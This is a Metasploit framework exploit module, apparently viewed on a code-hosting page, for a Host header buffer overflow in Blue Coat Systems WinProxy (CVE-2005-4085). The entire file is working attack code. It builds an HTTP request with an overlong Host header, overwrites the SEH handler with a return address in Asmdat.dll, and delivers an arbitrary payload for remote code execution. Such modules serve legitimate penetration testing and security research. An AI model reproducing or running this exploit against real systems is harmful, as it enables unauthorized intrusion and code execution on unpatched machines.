metasploit-framework/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb

76 lines
1.6 KiB
Ruby
Raw Normal View History

require 'msf/core'
module Msf
class Exploits::Windows::Proxy::Bluecoat_WinProxy_Host < Msf::Exploit::Remote
include Exploit::Remote::Tcp
include Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Blue Coat Systems WinProxy Host Header Buffer Overflow',
'Description' => %q{
Remote exploitation of a buffer overflow vulnerability
in Blue Coat Systems Inc.'s WinProxy allows for the
remote execution of arbitrary code.
},
'Author' => 'MC',
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2005-4085'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
],
'Privileged' => true,
'DisclosureDate' => 'January 5 2005',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80)
], self)
end
def exploit
connect
print_status("Trying target #{target.name}...")
sploit = "GET / HTTP/1.1" + "\r\n"
sploit += "Host: 127.0.0.1:"
sploit += Rex::Text.rand_text_english(31, payload_badchars)
seh = generate_seh_payload(target.ret)
sploit[23, seh.length] = seh
sploit += "\r\n\r\n"
sock.put(sploit)
sock.get_once(-1, 3)
handler
disconnect
end
end
end